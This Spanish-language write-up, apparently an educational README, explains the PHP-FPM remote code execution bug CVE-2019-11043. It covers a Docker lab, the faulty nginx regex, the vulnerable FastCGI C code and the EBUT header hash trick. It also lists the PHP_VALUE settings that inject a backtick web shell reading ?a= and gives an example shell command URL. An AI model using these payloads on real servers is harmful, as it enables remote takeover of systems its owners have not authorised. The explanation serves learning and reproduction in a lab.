
Exploit de ejecución remota de comandos en PHP-FPM
Ejecución remota de código en PHP-FPM
Videotutorial: https://youtu.be/d6benC5FVZM
Este exploit de día cero en configuraciones comunes de PHP-FPM fue descubierto durante la competencia Realworld CTF en 2019. Se utiliza una expresión regular para analizar la URI solicitada, pero los caracteres de nueva línea %0a no coinciden. Esto desencadena un bug en FastCGI que calcula incorrectamente la longitud de la cadena de consulta y escribe un byte nulo en una ubicación anterior al inicio del búfer previsto. Mediante una selección cuidadosa de la longitud de la cadena de consulta, un atacante puede usar este bug para sobrescribir variables internas de PHP en el servidor y ejecutar código shell arbitrario.
La implementación original en Go de este exploit se puede encontrar aquí. He utilizado esto, un análisis y el informe de error original como recursos de aprendizaje para implementar el exploit en Python.
Docker en Linux Ejecute sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 para instanciar un servidor NGINX/PHP-FPM básico con un script vacío en /script.php. El Dockerfile para esta imagen está disponible aquí, aunque no es necesario para ejecutar el comando mencionado.
Docker en Mac Ejecute sudo docker-compuse up -d desde el directorio /php/CVE-2019-11043 del repositorio vulhub. (Compose está incluido con Docker para Mac.)
Ejecute el script del exploit con el comando python3 exploit.py http://localhost:8080/script.php (o /index.php si se usó la segunda opción). Tras una ejecución exitosa, se podrá acceder a una shell web añadiendo comandos a la URL después de ?a= (p. ej., http://localhost:8080/script.php?a=uname -a).
N. B.: Intenté crear un playbook de Ansible para esta tarea, pero me encontré con un error bloqueante documentado aquí. No es posible iniciar servicios systemd en kernels recientes de Linux (p. ej., cualquier versión LTS de Ubuntu) con un playbook de Ansible.
Los archivos de configuración de PHP-FPM contienen una regla para hacer coincidir las solicitudes URI entrantes con scripts PHP, que a menudo se ve así:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Esto debería coincidir con cualquier URI de la forma /script.php/pathinfo, pero . en realidad no coincide con los caracteres de nueva línea %0a. Si la URI contiene una nueva línea, se desencadena el siguiente bug en la implementación de PHP:
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* recall that PATH_INFO won't exist */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
El problema aquí es que slen se calcula correctamente como la longitud de la URI menos la longitud de la ruta del recurso, pero pilen se establece erróneamente a 0. Esto establece path_info a un valor negativo en la línea 1151, lo que produce un desbordamiento de búfer por debajo (buffer underflow). Inmediatamente después de este error de cálculo en el mismo archivo, tenemos:
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
En la línea 1161, se escribe un byte nulo en la ubicación de memoria calculada erróneamente del paso anterior. Esto se puede aprovechar para explotar una vulnerabilidad en la línea 1165, donde FastCGI escribe una variable de entorno. Al escribir el byte nulo en el puntero que controla la operación de escritura de la variable de entorno, podemos insertar variables arbitrarias de PHP en el entorno con nuestras solicitudes HTTP.
Las variables de entorno en FastCGI se almacenan en una secuencia compacta de pares de cadenas clave-valor en memoria. El inicio y el final del búfer que contiene estas cadenas se denomina _fcgi_data_seg. El miembro pos apunta al siguiente lugar disponible para escribir. Si el búfer se llena (pos > end), se asigna uno nuevo y el miembro next apunta al anterior.
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
FastCGI accede a variables de entorno individuales mediante una tabla hash llamada _fcgi_hash.
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
La idea aquí es sobrescribir el byte menos significativo de pos para engañar a FastCGI y hacer que sobrescriba una variable existente. Se supone que el código tome la cadena añadida a nuestra ruta URI y la coloque en la ubicación de PATH_INFO. Sin embargo, queremos sobrescribir PHP_VALUE, porque este valor se recupera inmediatamente y se carga en la configuración de PHP después del segmento de código vulnerable.
Como se puede ver en exploit.py, la premisa general de este exploit es encontrar una consulta URI muy larga que alinee el búfer de memoria interno de FastCGI de una manera que podamos abusar. La idea es encontrar el número exacto de caracteres necesarios para que FastCGI asigne un nuevo búfer _fcgi_data_seg. Cuando esto ocurre, FastCGI escribirá predeciblemente nuestro PATH_INFO en el nuevo búfer, seguido inmediatamente por cada uno de nuestros encabezados HTTP como nuevos valores de entorno. Entonces, el siguiente paso es averiguar con cuántos caracteres necesitamos rellenar un encabezado HTTP arbitrario para alinear la memoria a nuestro favor. Dado que estamos limitados a escribir un byte nulo en una ubicación arbitraria, necesitamos que pos apunte a un desplazamiento predecible respecto a PHP_VALUE, de modo que la edición del byte menos significativo lo mueva allí.
El desafío es que queremos sobrescribir PHP_VALUE, pero no sabemos dónde se encuentra en memoria. Cuando FastCGI carga esta variable, aplica un hash a la cadena PHP_VALUE para obtener la dirección de memoria real según un algoritmo simple:
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
En lugar de modificar realmente la tabla hash de alguna manera, todo lo que tenemos que hacer es crear otra variable de entorno con la misma longitud de cadena y el mismo hash que PHP_VALUE según esta función. Esto engañará a la búsqueda en la tabla hash para que lea nuestro encabezado HTTP en lugar de la variable prevista. El autor de este exploit observó astutamente que un encabezado llamado EBUT se guardará como HTTP_EBUT en el entorno de FastCGI, lo que cumple este requisito.
Para el ataque en sí, enviamos solicitudes GET que contienen nuestro encabezado EBUT y usamos el bug de sobrescritura de byte nulo para sobrescribir su valor. Intentamos establecer las variables de entorno de PHP una a una con solicitudes repetidas:
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`\"
extension=\"$_GET[a]`?>\"
La modificación exitosa de todas estas variables habilita una nueva consulta ?a= en el servidor para la ejecución arbitraria de código shell. El bucle del ataque comprueba el éxito en cada iteración intentando ejecutar which which. El atacante puede detectar fácilmente si esto fue exitoso leyendo el resultado de la respuesta HTTP (p. ej., /bin/which).